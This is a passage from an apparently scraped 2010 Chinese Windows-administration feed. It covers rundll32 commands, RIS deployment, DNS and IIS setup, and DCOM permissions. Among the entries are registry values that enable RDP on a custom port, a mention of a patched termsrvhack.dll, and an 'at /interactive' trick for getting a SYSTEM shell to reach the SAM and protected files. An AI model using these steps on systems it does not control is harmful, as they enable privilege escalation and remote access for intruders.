&amp;ldquo;控制面板－键盘属性－速度&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1&amp;nbsp;&amp;nbsp;　　功能: 显示 &amp;ldquo;控制面板－键盘属性－语言&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2&amp;nbsp;&amp;nbsp;　　功能: 显示Windows&amp;ldquo;印表机&amp;rdquo;档案夹。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3&amp;nbsp;&amp;nbsp;　　功能: 显示Windows&amp;ldquo;字体&amp;rdquo;档案夹。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－输入法属性－输入法&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add&amp;nbsp;&amp;nbsp;　　功能: 执行&amp;ldquo;添加新调制解调器&amp;rdquo;向导。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－多媒体属性－音频&amp;rdquo;属性页。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－多媒体属性－视频&amp;rdquo;属性页。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－多媒体属性－MIDI&amp;rdquo;属性页。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3&amp;nbsp;&amp;nbsp;　 功能: 显示&amp;ldquo;控制面板－多媒体属性－CD音乐&amp;rdquo;属性页。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－多媒体属性－设备&amp;rdquo;属性页。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－声音&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－网路&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示ODBC32资料管理选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,OpenAs_RunDLL {drive:\path\filename}&amp;nbsp;&amp;nbsp;　　功能: 显示指定档案(drive:\path\filename)的&amp;ldquo;打开方式&amp;rdquo;对话框。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－密码&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－电源管理属性&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder&amp;nbsp;&amp;nbsp;　　功能: 显示Windows&amp;ldquo;印表机&amp;rdquo;档案夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－区域设置属性－区域设置&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－区域设置属性－数字&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－区域设置属性－货币&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－区域设置属性－时间&amp;rdquo;选项视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－区域设置属性－日期&amp;rdquo;选项视窗。 &amp;nbsp;　　命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]&amp;nbsp;&amp;nbsp;　　功能: 将指定的萤屏保护档案设置为Windows的屏保，并显示萤屏保护属性视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－系统属性－传统&amp;rdquo;属性视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－系统属性－设备管理器&amp;rdquo;属性视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－系统属性－硬体配置档案&amp;rdquo;属性视窗。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;控制面板－系统属性－性能&amp;rdquo;属性视窗。&amp;nbsp; 　　命令列: rundll32.exe user.exe,restartwindows&amp;nbsp;&amp;nbsp;　　功能: 强行关闭所有程式并重启机器。&amp;nbsp; 　　命令列: rundll32.exe user.exe,exitwindows&amp;nbsp;&amp;nbsp;　　功能: 强行关闭所有程式并关机。&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;拨号属性&amp;rdquo;选项视窗&amp;nbsp; 　　命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl&amp;nbsp;&amp;nbsp;　　功能: 显示&amp;ldquo;桌面主旨&amp;rdquo;选项面板
        
    
 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>在Windows2003下，利用RIS远程安装服务，大量部署基于Windows 20 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9706.html </link>
<description> </description>
<text>

　　烈火建站学院文档 在Windows2003下，利用RIS远程安装服务，大量部署基于Windows 2000 Professional或者Windows XP Professional的系统的方法，RIS是03系统带的一个超强网络安装组件，只要你的机器安装了支持PXE引导的网卡，都可以利用这套工具快速的安装Windows 2000 Professional或者Windows XP Professional。
　　现在的许多品牌机，都已经集成了PXE引导的网卡。这时，利用RIS安装Windows2000或Windows XP，就可以大大节省时间、提高工作效率。在你配置好RIS服务后，你只需要在开机后按一下F12键，操作系统会自动安装在你的机器上，你不需要做任何的操作或者选择。并且，当单位的某一台机器系统有故障需要重新安装后，作为网管员，你只要让使用这台机器的用户按一下F12键就可以完成安装、配置任务。
　　注：在Windows 2000 Server的远程安装服务中，只支持Windows 2000Professional的远程安装，不支持Windows 2000 Server系列的安装。而在Windows Server 2003的远程安装服务中，除了支持Windows XP Professional的远程安装外，还支持Windows Server 2003 和Windows 2000所有版本的远程安装。
　　RIS服务器的安装　　在Windows Server 2003的服务器上，安装DHCP服务器，升级Windows Server 2003到Active Directory活动目录服务器，并以系统管理员身份登录到这台服务器。 　　
　　1. 添加RIS远程安装服务
　　从&amp;ldquo;添加/删除程序&amp;rarr;添加/删除Windows组件&amp;rdquo;，进入Windows组件向导，选择&amp;ldquo;远程安装服务&amp;rdquo;，安装程序完成后，重新启动计算机。
　　2. 拷贝Windows XP的安装文件到RIS服务器再次进入Windows Server 2003后，从&amp;ldquo;运行&amp;rdquo;处键入risetup，运行RIS配置程序，完全选择默认值进行安装。
　　授权RIS服务器　　如果服务器是Windows 2000 Server，需要授权RIS服务器，在Windows Server 2003中，不需要单独授权DHCP服务器，这是由risetup程序自动完成的。
　　配置RIS服务器　　1. 从管理工具中打开&amp;ldquo;Active Directory 用户和计算机&amp;rdquo;，单击&amp;ldquo;Domain Controllers&amp;rdquo;，从右边的窗口将列出可用的RIS服务器。单击鼠标右键选中这台RIS服务器，从出现的菜单中选择&amp;ldquo;属性&amp;rdquo;，弹出RIS服务器属性对话窗口。
　　2. 选中&amp;ldquo;响应客户计算机的请求服务&amp;rdquo;，这样，RIS服务器就可以为发出响应的RIS客户机提供服务了。如果你想检查RIS服务器是否有故障，可以单击&amp;ldquo;验证服务器&amp;rdquo;按钮进行检查。
　　修改配置文件　　在默认的情况下，RIS服务只提供全新的安装，即使你的硬盘已经分区，在用默认的RIS服务进行安装时，远程安装服务将会自动格式化硬盘、并把硬盘划分为一个分区。如果是这样的话，RIS只适合安装全新的计算机，如果我们的计算机已经分区，并且硬盘上有数据，我们当然不希望RIS服务在安装的过程中格式化硬盘，这时候就需要进行如下的配置，步骤如下：
　　1. 单击&amp;ldquo;高级设置&amp;rdquo;按钮，然后单击&amp;ldquo;映像&amp;rdquo;按钮。
　　2. 如果此对话框有两个相同的配置文件，就需要删除一个。选择下面一个单击&amp;ldquo;删除&amp;rdquo;按钮，单击&amp;ldquo;是&amp;rdquo;按钮删除这个配置文件。删除之后，单击&amp;ldquo;添加&amp;rdquo;按钮，添加一个新的配置文件。
　　3. 在&amp;ldquo;新的应答文件或安装映像&amp;rdquo;对话框中选择&amp;ldquo;将新的应答文件与一个现有映像联系起来&amp;rdquo;。
　　4. 在下一个对话框中选择&amp;ldquo;Windows映像采样文件&amp;rdquo;。选择映像文件，然后单击&amp;ldquo;下一步&amp;rdquo;按钮，在&amp;ldquo;选择采样应答文件对话框&amp;rdquo;中选择下面的应答文件&amp;ldquo;Windows Professional&amp;rdquo;，单击&amp;ldquo;下一步&amp;rdquo;按钮，此时，安装程序提示已经有一个配置文件，在文件名后输入&amp;ldquo;noristndrd.sif&amp;rdquo;。
　　5. 在下一个对话框中，为RIS远程安装服务输入描述信息文字，在&amp;ldquo;易懂描述&amp;rdquo;后面添加&amp;ldquo;-no par&amp;rdquo;，如图2所示。
　　6. 在以后的步骤中，按照默认值即可。单击 &amp;ldquo;确定&amp;rdquo;按钮返回到Active Directory用户和计算机。然后，打开保存远程安装文件的路径（在运行RISETUP的时候，保存Windows XP文件的路径，如果安装在D盘，则是D:\RemoteInstall\Setup\Chinese\Images\WINDOWS\i386\templates目录）。打开这个目录下的&amp;ldquo;noristndred.sif&amp;rdquo;，将这个文件中的&amp;ldquo;Repartition = Yes&amp;rdquo; 改成 &amp;ldquo;Repartition = No&amp;rdquo;。
　　允许远程安装　　1. 返回到Active Directory用户和计算机，选中域名，用鼠标右键单击，从出现的菜单中选择&amp;ldquo;属性&amp;rdquo;。
　　2. 从出现的属性中选择&amp;ldquo;组策略&amp;rdquo;选项卡。
　　3. 选中默认的策略，单击&amp;ldquo;编辑&amp;rdquo;按钮，进入默认组策略编辑窗口。
　　4. 选择&amp;ldquo;用户配置&amp;rarr;Windows设置&amp;rarr;远程安装服务&amp;rdquo;，单击右边的&amp;ldquo;选择选项&amp;rdquo;，从出现的菜单中选择属性。将属性中的四个选项均选择为&amp;ldquo;允许&amp;rdquo;，单击&amp;ldquo;确定&amp;rdquo;按钮。然后关闭默认策略返回到Active Directory用户和计算机。
&amp;nbsp;　　在客户机上安装Windows XP Professional
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 此时，我们已经完成了RIS的配置。如果你的客户机符合PC98 0.6之后的规范，或者你的计算机配置了PXE引导芯片的网卡，就可以使用RIS远程安装服务，安装Windows XP Professional了。大致过程如下：
　　1. 打开计算机的电源，在CMOS自检之后，就会出现F12键，从网络启动的提示。
　　2. 按F12键，在第一个对话框中按回车键，进入自动安装界面。
　　3. 在&amp;ldquo;User name:&amp;rdquo;处输入一个用户名，这个用户名需要具有把计算机添加到域的权限，一般情况下，使用管理员账号即可。在&amp;ldquo;Password:&amp;rdquo;处输入这个用户的密码，在&amp;ldquo;Domain name:&amp;rdquo;输入域的名称，然后按回车键，进入下一画面。
　　4. 如果你想完全自动安装，请选择第一项&amp;ldquo;Automatic Setup&amp;rdquo;，如果你想定制安装，请选择第二项&amp;ldquo;Custom Setup&amp;rdquo;，如果你在以前的安装中有错误，想继续安装，请选择第三项&amp;ldquo;Restart a Previous Setup Attempt&amp;rdquo;。不管是选择全自动安装还是定制安装，都不需要我们输入太多的信息。在此我们以第二项为例进行说明。选择第二项，按回车键，进入下一画面，在此界面中直接按回车键。
　　5. 屏幕上将会显示我们在上文所添加的配置文件，共有两个，一个是要将计算机重新分区格式化的，一个是保持硬盘现状进行安装的。
　　6. 如果选择第二项&amp;ldquo;Microsoft Windows XP Professional&amp;rdquo;，安装程序将会自动在客户机上安装Windows XP，并将计算机的硬盘重要划分为一个分区，此时硬盘上所有的数据将丢失，如果你的机器是一台全新的，可以选择这一项。如果选择第一项&amp;ldquo;Windows Professional-no par&amp;rdquo;，安装程序在安装Windows XP的过程中，会提示让你选择在那个分区上安装Windows XP，此时计算机的硬盘不会被重新分区。
　　7. 在以后的过程中，按照屏幕提示，安装Windows XP。
　　8. 安装完成之后，用你的用户名、密码登录到域，在组策略的配置下，将会自动为你安装应用程序及恢复数据。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>　　烈火建站网文档 本文分步说明如何在Windows Server 2003 产 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9707.html </link>
<description> </description>
<text>副标题#e#
						



　　烈火建站学院文档 本文分步说明如何在Windows Server 2003 产品中为域名系统 (DNS) 配置Internet 访问。DNS是Internet上使用的核心名称解析工具。负责主机名称和Internet 地址之间的解析。　　　　如何从运行 Windows Server 2003 的独立服务器开始　　　　运行Windows Server 2003 的独立服务器成为网络的DNS 服务器。第一步，为该服务器分配一个静态 Internet&amp;ldquo;协议(IP)&amp;rdquo;地址。DNS服务器不应该使用动态分配的IP地址，因为地址的动态更改会使客户端与DNS服务器失去联系。　　　　第1步：配置TCP/IP　　　　打开网络连接，然后使用右键查看本地连接的属性。　　　　选择Internet 协议 (TCP/IP)。查看其属性。　　　　单击常规选项卡。　　　　选择&amp;ldquo;使用下面的IP地址&amp;rdquo;，然后在相应的框中键入IP 地址、子网掩码和默认网关地址。　　　　选中高级选项中的DNS选项卡。　　　　单击附加主要的和连接特定的DNS 后缀。　　　　单击以选中附加主DNS 后缀的父后缀复选框。　　　　单击以选中在DNS中注册此连接的地址复选框。　　　　注意，运行Windows Server 2003的DNS服务器必须将其DNS服务器指定为它本身。　　　　如果该服务器需要解析来自它的Internet 服务提供商 (ISP) 的名称，您必须配置一台转发器。在本文稍后的如何配置转发器部分将讨论转发器。　　　　单击确定三次。　　　　备注: 如果收到一个来自DNS 缓存解析器服务的警告，单击&amp;ldquo;确定&amp;rdquo;关闭该警告。缓存解析器正试图与DNS服务器取得联系，但您尚未完成该服务器的配置　　　　第2步：安装 Microsoft DNS 服务器　　　　单击开始，指向控制面板，然后单击添加或删除程序。　　　　单击&amp;ldquo;添加或删除Windows组件&amp;rdquo;。　　　　在组件列表中，单击网络服务（但不要选中或清除该复选框），然后单击详细信息。单击以选中域名系统 (DNS) 复选框，然后单击确定。　　　　单击下一步。　　　　得到提示后，将Windows Server 2003 CD-ROM 插入计算机的 CD-ROM 或 DVD-ROM 驱动器。　　　　安装完成时，在完成 Windows 组件向导页上单击完成。　　　　单击关闭关闭添加或删除程序窗口。　　　　第3步：配置 DNS 服务器　　　　要使用 Microsoft 管理控制台 (MMC) 中的 DNS 管理单元配置 DNS，请按照下列步骤*作：　　　　单击开始，指向程序，指向管理工具，然后单击DNS。　　　　右击正向搜索区域，然后单击新建区域。　　　　当&amp;ldquo;新建区域向导&amp;rdquo;启动后，单击下一步。　　　　接着将提示您选择区域类型。区域类型包括：　　　　主要区域：创建可以直接在此服务器上更新的区域的副本。此区域信息存储在一个.dns 文本文件中。　　　　辅助区域：标准辅助区域从它的主 DNS 服务器复制所有信息。主 DNS 服务器可以是为区域复制而配置的 Active Directory 区域、主要区域或辅助区域。注意，您无法修改辅助DNS服务器上的区域数据。所有数据都是从主 DNS 服务器复制而来。　　　　存根区域：存根区域只包含标识该区域的权威 DNS 服务器所需的资源记录。这些资源记录包括名称服务器 (NS)、起始授权机构 (SOA) 和可能的glue 主机 (A) 记录。

						#p#副标题#e#



　　　　Active Directory 中还有一个用来存储区域的选项。此选项仅在 DNS 服务器是域控制器时可用。　　　　新的正向搜索区域必须是主要区域或 Active Directory 集成的区域，以便它能够接受动态更新。单击主要，然后单击下一步。　　　　新区域包含该基于 Active Directory 的域的定位器记录。区域名称必须与基于Active Directory 的域的名称相同，或者是该名称的逻辑 DNS 容器。例如，如果基于Active Directory 的域的名称为&amp;ldquo;support.microsoft.com&amp;rdquo;，那么有效的区域名称只能是&amp;ldquo;support.microsoft.com&amp;rdquo;。　　　　接受新区域文件的默认名称，单击下一步。　　　　备注：有经验的DNS 管理员可能希望创建反向搜索区域，因此建议他们钻研向导的这个分支。DNS 服务器可以解析两种基本的请求：正向搜索请求和反向搜索请求。正向搜索更普遍一些。正向搜索将主机名称解析为一个带有&amp;ldquo;A&amp;rdquo;或主机资源记录的 IP 地址。反向搜索将IP地址解析为一个带有 PTR 或指针资源记录的主机名称。如果您配置了反向DNS 区域，您可以在创建原始正向记录时自动创建关联的反向记录。　　　　如何移除根DNS 区域　　　　运行 Windows Server 2003 的 DNS 服务器在它的名称解析过程中遵循特定的步骤。DNS服务器首先查询它的高速缓存，然后检查它的区域记录，接下来将请求发送到转发器，最后使用根服务器尝试解析。　　　　默认情况下，Microsoft DNS 服务器连接到 Internet 以便用根提示进一步处理 DNS 请求。当使用 Dcpromo工具将服务器提升为域控制器时，域控制器需要DNS。如果在提升过程中安装 DNS，会创建一个根区域。这个根区域向您的 DNS 服务器表明它是一个根Internet 服务器。因此，您的 DNS 服务器在名称解析过程中并不使用转发器或根提示。　　　　单击开始，指向管理工具，然后单击DNS。　　　　展开 ServerName，其中 ServerName 是服务器的名称，单击属性 ，然后展开正向搜索区域。　　　　右击&amp;quot;.&amp;quot; 区域，然后单击删除.　　　　如何配置转发器　　　　Windows Server 2003 可以充分利用 DNS 转发器。该功能将 DNS 请求转发到外部服务器。如果 DNS 服务器无法在其区域中找到资源记录，可以将请求发送给另一台 DNS 服务器，以进一步尝试解析。一种常见情况是配置到您的 ISP 的 DNS 服务器的转发器。　　　　单击开始，指向管理工具，然后单击DNS。　　　　右击ServerName，其中ServerName是服务器的名称，然后单击转发器 选项卡。　　　　单击DNS域列表中的一个DNS域。或者单击新建，在DNS&amp;ldquo;域框&amp;rdquo;中键入希望转发查询的DNS域的名称，然后单击确定。　　　　在所选域的转发器IP地址框中，键入希望转发到的第一个DNS服务器的IP地址，然后单击添加。　　　　重复步骤 4，添加希望转发到的DNS服务器。　　　　单击确定。　　　　如何配置根提示　　　　Windows 可以使用根提示。根提示资源记录可以存储在 Active Directory 或文本文件(%SystemRoot%System32DNSCache.dns) 中。Windows 使用标准的 Internic 根服务器。另外，当运行 Windows Server 2003 的服务器查询根服务器时，它将用最新的根服务器列表更新自身。　　　　单击开始，指向管理工具，然后单击DNS。　　　　右击 ServerName，其中 ServerName 是服务器的名称，然后单击属性.单击根提示 选项卡。DNS 服务器的根服务器在名称服务器列表中列出。　　　　如何在防火墙后配置DNS　　　　代理和网络地址转换 (NAT) 设备可以限制对端口的访问。DNS使用UDP 端口A和TCP端口53。DNS服务管理控制台也使用RCP。RCP使用端口135。当您配置DNS和防火墙时，这些问题都有可能发生。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>题：在启动远程控制服务时，出现“Terminal Services服务找不到 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9708.html </link>
<description> </description>
<text>

烈火建站学院文档
问题：在启动远程控制服务时，出现&amp;ldquo;Terminal Services服务找不到指定模块,错误：126&amp;rdquo;,无法启用远程控制功能
解决方案：
1、打开注册表,对应着开3389的注册表文件修改,打开以后发现下面这些信息和开 3389的注册表信息一样,那说明这台服务器的3389应该是开着的呀,


    
        
            以下为引用的内容：[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]fDenyTSConnections&amp;quot;=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]PortNumber&amp;quot;=dword:00000d3d[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]PortNumber&amp;quot;=dword:00000d3d
        
    


&amp;ldquo;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService\Parameters&amp;rdquo;注册表项下的ServiceDll键值所定义的 (此处的ServiceName是指服务名)，如果该注册表键值出错，或者对应的Dll文件被破坏，就会导致这个问题。&amp;rdquo;
原来是我使用的那个双开3389的工具把终端服务调用的DLL文件改掉了...正常的调用应该是
C:\windows\system32\termsrv.dll,但是当我查看注册表调用文件的时候却发现调用的是
C:\windows\system32\termsrvhack.dll
把&amp;quot;C:\windows\system32\termsrvhack.dll&amp;rdquo;改为&amp;quot;C:\windows\system32\termsrv.dll&amp;rdquo; 启动服务,远程桌面连接,OK,顺利的进来了！ </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>平时我们以为在Administrator帐户下就是最高权限帐户了，就可以 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9709.html </link>
<description> </description>
<text>

　　烈火建站学院（LieHuo.Net）Windows主机文档 清华大学的王宝会教授提问大家，&amp;ldquo;你们知道WindowsXP的最高管理员权限是什么吗？&amp;rdquo;，小菜们都喊道，&amp;ldquo;Administrator&amp;rdquo; 、&amp;ldquo;Admin&amp;rdquo;、&amp;ldquo;root&amp;rdquo;(汗！我看就差喊Guset帐户了)，教授说，你们都错了，其实系统的最高管理员权限帐户是SYSTEM。
　　的确是这样，你有没有发现？平时我们以为在Administrator帐户下就是最高权限帐户了，就可以为所欲为了，其实不然。我们用这个所谓的最高权限帐户下也有做不到的事情，比如删除Windows系统备份还原文件System Volume Information、访问注册表的SAM文件、杀掉系统某些关键进程等等。那么为什么这个账号我们有的人从来都没有听说呢，是因为我们在登录Administrator账号时，SYSTEM用户早都已经盘踞系统中了，他管理的是整个系统的核心，即位于操作系统的和心态；而我们普通的用户无论以管理员Administrator账号也好还是其他权限账号，都是以用户级别的用户态方式登录系统。&amp;ldquo;普通用户&amp;rdquo;运行在SYSTEM账号的登录会话里。所以，我们理所当然地认为最高权限用户就是Administrator了。
　　既然这个王牌账号&amp;ldquo;隐居&amp;rdquo;系统中，那么我们有什么法子可以把它叫出来吗？回答是肯定的！



    
        
            S1：用at命令计划命令任务运行cmd，键入如下windows命令：#at 10:32 /interactive cmd.exe新加了一项作业，其作业ID=1；假设当前时间是10：32之前的一个时刻，那么当到达10:32时，系统会弹出cmd.exe会话，此时运行此cmd.exe会话的属主当然就是SYSTEM了，在当前cmd.exe下敲入命令来验证。#whoamiNT AUTHORITY\SYSTEM；系统提示我们当前运行的账号是SYSTEMS2：杀掉Administrator用户的explorer假设我们开始是以Administrator帐户登录系统的，那么我们在新cmd会话中将explorer.exe进程杀掉！键入命令：#taskkill /f /im explorer.exe /im explorer.exe 成功：已终止进程&amp;quot;explorer.exe&amp;quot;，其PID为964S3：重建explorer.exe这时，我们完全是以SYSTEM帐户身份来运行操作系统的，只不过我们没有桌面，不要紧，重新建立一个explorer.exe即可。键入命令：#explorer&amp;nbsp; 我们发现，焕然一新的以SYSTEM账号登录的WindowsXP系统呈现在我们面前，多么惬意&amp;hellip;&amp;hellip;
        
    


　　那么用这个用户我们能做些什么呢？
　　开
始我就提到了这个帐户能&amp;ldquo;为所欲为&amp;rdquo;，拥有真正意义上的最高权限。你试着删除Windows系统备份还原文件System Volume Information、访问注册表的SAM文件、杀掉系统某些关键进程等等操作看能不能实现就知道了。再说，当我们中病毒后，我们首先应该想到的就是手工方式将病毒进程结束掉，但是病毒可能驻留于系统级关键进程，以区区Administrator身份删除是无法实现结束病毒进程的目的的，那么这时就要用到SYSTEM这个帐户了。类似于这种需要SYSTEM帐户应用的例子还很多，我就不一一举例了，希望大家能够认真体会其中的奥妙。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>开始--》控制面板--》管理工具--》组件服务--》计算机--》我的电 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9710.html </link>
<description> </description>
<text>

　　烈火建站学院（LieHuo.Net）服务器教程 服务器（WIndows2003）部署asp.net网站生成word文档经常遇到的问题！
　　(1)将网站发布到远程服务器，出现了问题，web.config 找不到Microsoft.Office.Interop.Word，而远程服务器已经安装了word2003了。
&amp;nbsp;　　错误原因：在网站上有word模板生成word 的功能。
　　解决办法：
　　下载OFFICE IPA 安装，地址：http://www.mydown.com/soft/utilitie/others/107/439607.shtml
　　(2)检索 COM 类工厂中 CLSID 为 {000209FF-0000-0000-C000-000000000046} 的组件时失败，原因是出现以下错误: 80070005。
　　错误原因：不能向word写数据。
　　解决办法：一、
　　开始--》控制面板--》管理工具--》组件服务--》计算机--》我的电脑--》Dcom配件 找到Miscrosoft word2003 右键属性弹出&amp;quot;Microsoft&amp;nbsp;&amp;nbsp; word应用程序属性&amp;quot;对话框,点击&amp;quot;标识&amp;quot;标签,选择&amp;quot;交互式用户&amp;quot;,点击&amp;quot;安全&amp;quot;标签,在&amp;quot;启动和激活权限&amp;quot;上点击&amp;quot;自定义&amp;quot;,然后点击对应的&amp;quot;编辑&amp;quot;按钮,在弹出的&amp;quot;安全性&amp;quot;对话框中填加一个&amp;quot;NETWORK&amp;nbsp;&amp;nbsp; SERVICE&amp;quot;用户(注意要选择本计算机名),并给它赋予&amp;quot;本地启动&amp;quot;和&amp;quot;本地激活&amp;quot;权限.依然是&amp;quot;安全&amp;quot;标签,在&amp;quot;访问权限&amp;quot;上点击&amp;quot;自定义&amp;quot;,然后点击&amp;quot;编辑&amp;quot;,在弹出的&amp;quot;安全性&amp;quot;对话框中也填加一个&amp;quot;NETWORKSERVICE&amp;quot;用户,然后赋予&amp;quot;本地访问&amp;quot;权限.
　　这样,我们便配置好了相应的word的DCOM权限.
　　(其他系统：操作相同，添加ASP.NET账户和IUSER_计算机名)
　　解决办法：二、
　　在web.config中使用身份模拟,在 &amp;lt;system.web&amp;gt;节中加入&amp;nbsp; 


    
        
            以下为引用的内容：&amp;lt;identity impersonate=&amp;quot;true&amp;quot; userName=&amp;quot;你的用户名&amp;quot; password=&amp;quot;密码&amp;quot;/&amp;gt; &amp;lt;/system.web&amp;gt; 
        
    

 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>单击“浏览”按钮，在弹出的“查找文件”对话框的“文件名”列表 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9711.html </link>
<description> </description>
<text>

　　烈火建站学院（LieHuo.Net）windows服务器教程 以前只是在XP做过实验，第一次在Windows Server 2003从IIS安装、配置和创建网站，发现有些不同。
　　首先，IIS6.0 安装方式不同，不是从&amp;ldquo;添加、删除Windows组件&amp;rdquo;进行的，再就是安装完成后默认网站是&amp;ldquo;建设中&amp;rdquo;页面，昨天一开始认为是IIS默认也不正常，其实这样已经说明正常了。
　　一、IIS6.0安装
　&amp;nbsp; 1.单击&amp;ldquo;开始&amp;rdquo;菜单，选择&amp;ldquo;管理您的服务器&amp;rdquo;命令。 　　在弹出的对话框中选择&amp;ldquo;添加或删除角色&amp;rdquo;命令。 　　在&amp;ldquo;配置您的服务器向导&amp;rdquo;中选择&amp;ldquo;应用程序服务&amp;rdquo;单击&amp;ldquo;下一步&amp;rdquo;。 　　我这里为了IIS6的完整，将&amp;ldquo;FrontPage Server Extension&amp;rdquo;和&amp;ldquo;启用ASP.NET&amp;rdquo;都选上，读者在安装IIS6的时候可以根据自己的需要选择性地安装。 　　一直单击&amp;ldquo;下一步&amp;rdquo;直到出现要求插入Windows server 2003安装盘的对话框。这时候不要插入Windows server 2003的安装盘。 　　2.单击&amp;ldquo;确定&amp;rdquo;按钮，图5的对话框将会多出一个&amp;ldquo;浏览&amp;rdquo;按钮。 　　单击&amp;ldquo;浏览&amp;rdquo;按钮，在弹出的&amp;ldquo;查找文件&amp;rdquo;对话框的&amp;ldquo;文件名&amp;rdquo;列表中列出了当前安装所需要的文件。新建一个文件夹命名为&amp;ldquo;IIS6&amp;rdquo;，插入Windows server 